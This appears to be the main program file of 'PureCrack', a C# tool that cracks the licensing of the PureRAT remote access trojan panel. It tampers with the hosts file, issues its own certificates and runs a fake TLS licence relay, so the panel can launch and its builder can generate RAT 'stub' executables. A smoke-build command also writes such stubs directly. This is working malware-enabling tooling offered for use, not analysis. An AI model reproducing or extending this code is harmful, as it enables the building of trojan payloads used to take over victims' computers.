256 lines
6.7 KiB
C#
256 lines
6.7 KiB
C#
using System;
|
|
using System.Collections.Generic;
|
|
using System.IO;
|
|
using System.Security.Cryptography.X509Certificates;
|
|
using System.Text;
|
|
using System.Threading;
|
|
using PureCrack.Build;
|
|
using PureCrack.Panel;
|
|
using PureCrack.Relay;
|
|
using PureCrack.Setup;
|
|
using PureCrack.Util;
|
|
|
|
namespace PureCrack;
|
|
|
|
internal static class Program
|
|
{
|
|
public const int RelayPort = 443;
|
|
|
|
public const int PanelPort = 56001;
|
|
|
|
private static readonly TimeSpan PanelReadyTimeout = TimeSpan.FromMinutes(5.0);
|
|
|
|
public static int Main(string[] args)
|
|
{
|
|
AppDomain.CurrentDomain.UnhandledException += delegate(object _, UnhandledExceptionEventArgs e)
|
|
{
|
|
WriteCrashLog("AppDomain.UnhandledException", e.ExceptionObject as Exception);
|
|
};
|
|
try
|
|
{
|
|
Console.OutputEncoding = Encoding.UTF8;
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
try
|
|
{
|
|
Log.Banner("PureCrack v2.0 ─ PureRAT licence relay");
|
|
Log.Kv("Workspace", Workspace.Root);
|
|
Log.Kv("Captures", Workspace.CapturesDir);
|
|
Log.Kv("Stubs", Workspace.StubsDir);
|
|
if (!CheckEmbeddedAssets())
|
|
{
|
|
return PauseAndExit(1);
|
|
}
|
|
if (args.Length != 0)
|
|
{
|
|
switch (args[0])
|
|
{
|
|
case "smoke-build":
|
|
return SmokeBuildCommand();
|
|
case "help":
|
|
case "--help":
|
|
case "-h":
|
|
PrintHelp();
|
|
return 0;
|
|
}
|
|
}
|
|
return RunFullKit();
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
WriteCrashLog("Main", ex);
|
|
return PauseAndExit(2);
|
|
}
|
|
}
|
|
|
|
private static void WriteCrashLog(string source, Exception? ex)
|
|
{
|
|
string text = $"[{DateTime.Now:yyyy-MM-dd HH:mm:ss}] CRASH ({source})\n" + " Message: " + (ex?.Message ?? "<no exception object>") + "\n Type: " + (ex?.GetType().FullName ?? "<unknown>") + "\n Stack:\n" + Indent(ex?.ToString() ?? "<no stack>", " ") + "\n----------------------------------------\n";
|
|
try
|
|
{
|
|
Console.Error.WriteLine(text);
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
try
|
|
{
|
|
string text2 = Path.Combine(Workspace.DataDir, "last-crash.log");
|
|
File.AppendAllText(text2, text);
|
|
try
|
|
{
|
|
Console.Error.WriteLine("crash log: " + text2);
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
try
|
|
{
|
|
File.AppendAllText(Path.Combine(Path.GetDirectoryName(typeof(Program).Assembly.Location) ?? Environment.CurrentDirectory, "last-crash.log"), text);
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
}
|
|
|
|
private static string Indent(string s, string prefix)
|
|
{
|
|
if (string.IsNullOrEmpty(s))
|
|
{
|
|
return s;
|
|
}
|
|
return prefix + s.Replace("\n", "\n" + prefix);
|
|
}
|
|
|
|
private static int PauseAndExit(int code)
|
|
{
|
|
try
|
|
{
|
|
if (!Console.IsInputRedirected)
|
|
{
|
|
Console.Error.WriteLine();
|
|
Console.Error.WriteLine("Press any key to close...");
|
|
Console.ReadKey(intercept: true);
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
return code;
|
|
}
|
|
|
|
private static int RunFullKit()
|
|
{
|
|
Log.Section("preflight");
|
|
Preflight.Result result = Preflight.Run();
|
|
Preflight.Report(result);
|
|
if (!result.Ok)
|
|
{
|
|
return 1;
|
|
}
|
|
try
|
|
{
|
|
Log.Section("hosts + certs");
|
|
HostsManager.Ensure();
|
|
X509Certificate2 serverCert = CertManager.EnsureRelayCert();
|
|
byte[] agentPfxBytes = CertManager.EnsureAgentCertPfxBytes();
|
|
Log.Section("relay");
|
|
RouteHandlers routes = new RouteHandlers(agentPfxBytes, EmbeddedAssets.CannedCompileResponse);
|
|
using TlsRelay tlsRelay = new TlsRelay(serverCert, routes);
|
|
tlsRelay.Start();
|
|
Log.Section("settings + panel");
|
|
string panelExePath = result.PanelExePath;
|
|
string text = SettingsAutoFix.FindSettingsJson(panelExePath);
|
|
if (text != null)
|
|
{
|
|
SettingsAutoFix.ReorderIpsToLoopbackFirst(text);
|
|
}
|
|
else
|
|
{
|
|
Log.Warn("Settings.json not found near " + panelExePath + " — skipping IPs reorder (set PURE_SETTINGS_JSON if it lives elsewhere)");
|
|
}
|
|
using (PanelLauncher.Launch(panelExePath))
|
|
{
|
|
ManualResetEventSlim done = new ManualResetEventSlim(initialState: false);
|
|
Console.CancelKeyPress += delegate(object _, ConsoleCancelEventArgs e)
|
|
{
|
|
e.Cancel = true;
|
|
done.Set();
|
|
};
|
|
if (PanelLauncher.WaitForListener(56001, PanelReadyTimeout))
|
|
{
|
|
Log.Banner("READY ─ panel + relay running");
|
|
Log.Info("click 'Builder Settings → Build' in the panel to produce a stub");
|
|
Log.Info("stubs land in runs/stubs/. captures in runs/captures/.");
|
|
Log.Info("Ctrl-C to stop the relay (panel keeps running).");
|
|
}
|
|
else
|
|
{
|
|
object arg = 56001;
|
|
TimeSpan panelReadyTimeout = PanelReadyTimeout;
|
|
Log.Warn($"panel didn't bind :{arg} within {panelReadyTimeout.TotalMinutes:0} min — " + "did you click Login? relay is still listening, so it's not too late.");
|
|
}
|
|
done.Wait();
|
|
Log.Section("shutdown");
|
|
tlsRelay.Stop();
|
|
Log.Info("relay stopped. panel left running. exiting.");
|
|
return 0;
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Log.Err("fatal: " + ex.Message);
|
|
Log.Bullet(ex.ToString());
|
|
return 1;
|
|
}
|
|
}
|
|
|
|
private static bool CheckEmbeddedAssets()
|
|
{
|
|
try
|
|
{
|
|
_ = EmbeddedAssets.InnerSources.Count;
|
|
_ = EmbeddedAssets.LoaderTemplate.Length;
|
|
_ = EmbeddedAssets.ProtobufNetDll.Length;
|
|
_ = EmbeddedAssets.CannedCompileResponse.Length;
|
|
Log.Ok($"embedded assets OK ({EmbeddedAssets.InnerSources.Count} inner sources, " + $"{EmbeddedAssets.ProtobufNetDll.Length:N0}b protobuf-net.dll, " + $"{EmbeddedAssets.CannedCompileResponse.Length:N0}b canned /compile)");
|
|
return true;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Log.Err("embedded assets missing — corrupted EXE? " + ex.Message);
|
|
return false;
|
|
}
|
|
}
|
|
|
|
private static int SmokeBuildCommand()
|
|
{
|
|
Log.Section("smoke-build: exercise the StubBuilder pipeline only");
|
|
BuildConfig cfg = new BuildConfig
|
|
{
|
|
Ips = new List<string> { "127.0.0.1" },
|
|
Ports = new List<int> { 56001 },
|
|
CertPfxBase64 = "",
|
|
Group = "smoke-test",
|
|
Mutex = "purecrack-smoke"
|
|
};
|
|
try
|
|
{
|
|
byte[] array = StubBuilder.Build(cfg);
|
|
string text = Path.Combine(Workspace.StubsDir, $"smoke_{DateTime.Now:yyyyMMdd_HHmmss}.exe");
|
|
File.WriteAllBytes(text, array);
|
|
Log.Ok($"smoke-build OK — wrote {array.Length:N0}b stub to {text}");
|
|
return 0;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Log.Err("smoke-build FAILED: " + ex.Message);
|
|
Log.Bullet(ex.ToString());
|
|
return 1;
|
|
}
|
|
}
|
|
|
|
private static void PrintHelp()
|
|
{
|
|
Console.WriteLine();
|
|
Console.WriteLine("Usage: PureCrack.exe [subcommand]");
|
|
Console.WriteLine();
|
|
Console.WriteLine("With no subcommand: starts the full kit (relay + panel launch).");
|
|
Console.WriteLine();
|
|
Console.WriteLine("Subcommands:");
|
|
Console.WriteLine(" smoke-build Exercise the stub builder pipeline only (CI test)");
|
|
Console.WriteLine(" help Show this message");
|
|
Console.WriteLine();
|
|
Console.WriteLine("Environment overrides:");
|
|
Console.WriteLine(" PURECRACK_WORKSPACE Override workspace root (default: EXE dir)");
|
|
Console.WriteLine(" PURE_PANEL_EXE Path to PureRAT.exe");
|
|
Console.WriteLine(" PURE_SETTINGS_JSON Path to panel's Settings.json (default: sibling of PURE_PANEL_EXE)");
|
|
}
|
|
}
|